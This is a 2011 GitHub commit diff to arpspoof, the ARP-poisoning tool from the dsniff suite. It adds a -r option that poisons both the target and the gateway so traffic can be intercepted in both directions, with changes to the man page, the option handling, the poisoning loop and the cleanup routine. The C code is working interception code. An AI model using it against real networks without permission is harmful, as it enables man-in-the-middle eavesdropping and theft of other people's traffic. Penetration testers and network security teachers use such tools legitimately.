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arpspoof: add -r switch to poison both directions

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1 parent dfbd7f9 commit 8fbf0ac15e5fe2df427e3e028f9aa8d96788986a @wertarbyte committed Nov 6, 2011
Showing with 51 additions and 13 deletions.
  1. +4 −1 arpspoof.8
  2. +47 −12 arpspoof.c
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5 arpspoof.8
@@ -9,7 +9,7 @@ intercept packets on a switched LAN
.na
.nf
.fi
-\fBarpspoof\fR [\fB-i \fIinterface\fR] [\fB-t \fItarget\fR] \fIhost\fR
+\fBarpspoof\fR [\fB-i \fIinterface\fR] [\fB-t \fItarget\fR] [\fB-r\fR] \fIhost\fR
.SH DESCRIPTION
.ad
.fi
@@ -26,6 +26,9 @@ Specify the interface to use.
.IP "\fB-t \fItarget\fR"
Specify a particular host to ARP poison (if not specified, all hosts
on the LAN).
+.IP "\fB-r\fR"
+Poison both hosts (host and target) to capture traffic in both directions.
+(only valid in conjuntion with -t)
.IP \fIhost\fR
Specify the host you wish to intercept packets for (usually the local
gateway).
View
59 arpspoof.c
@@ -7,6 +7,8 @@
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
+ *
+ * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de>
*/
#include "config.h"
@@ -31,12 +33,13 @@ static libnet_t *l;
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
static char *intf;
+static int poison_reverse;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
- "Usage: arpspoof [-i interface] [-t target] host\n");
+ "Usage: arpspoof [-i interface] [-t target] [-r] host\n");
exit(1);
}
@@ -133,18 +136,30 @@ arp_find(in_addr_t ip, struct ether_addr *mac)
static void
cleanup(int sig)
{
+ int fw = arp_find(spoof_ip, &spoof_mac);
+ int bw = poison_reverse && target_ip && arp_find(target_ip, &target_mac);
int i;
-
- if (arp_find(spoof_ip, &spoof_mac)) {
- for (i = 0; i < 3; i++) {
- /* XXX - on BSD, requires ETHERSPOOF kernel. */
+
+ fprintf(stderr, "Cleaning up and re-arping targets...\n");
+ for (i = 0; i < 5; i++) {
+ /* XXX - on BSD, requires ETHERSPOOF kernel. */
+ if (fw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof_mac, spoof_ip,
(target_ip ? (u_int8_t *)&target_mac : NULL),
target_ip);
+ /* we have to wait a moment before sending the next packet */
+ sleep(1);
+ }
+ if (bw) {
+ arp_send(l, ARPOP_REPLY,
+ (u_int8_t *)&target_mac, target_ip,
+ (u_int8_t *)&spoof_mac,
+ spoof_ip);
sleep(1);
}
}
+
exit(0);
}
@@ -156,11 +171,12 @@ main(int argc, char *argv[])
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
-
+
intf = NULL;
spoof_ip = target_ip = 0;
-
- while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
+ poison_reverse = 0;
+
+ while ((c = getopt(argc, argv, "ri:t:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
@@ -169,6 +185,9 @@ main(int argc, char *argv[])
if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
+ case 'r':
+ poison_reverse = 1;
+ break;
default:
usage();
}
@@ -178,7 +197,12 @@ main(int argc, char *argv[])
if (argc != 1)
usage();
-
+
+ if (poison_reverse && !target_ip) {
+ errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
+ usage();
+ }
+
if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
@@ -191,18 +215,29 @@ main(int argc, char *argv[])
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE));
-
+
+ if (poison_reverse) {
+ if (!arp_find(spoof_ip, &spoof_mac)) {
+ errx(1, "couldn't arp for spoof host %s",
+ libnet_addr2name4(spoof_ip, LIBNET_DONT_RESOLVE));
+ }
+ }
+
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
-
+
for (;;) {
arp_send(l, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_int8_t *)&target_mac : NULL),
target_ip);
+ if (poison_reverse) {
+ arp_send(l, ARPOP_REPLY, NULL, target_ip, (uint8_t *)&spoof_mac, spoof_ip);
+ }
+
sleep(2);
}
/* NOTREACHED */
-
+
exit(0);
}

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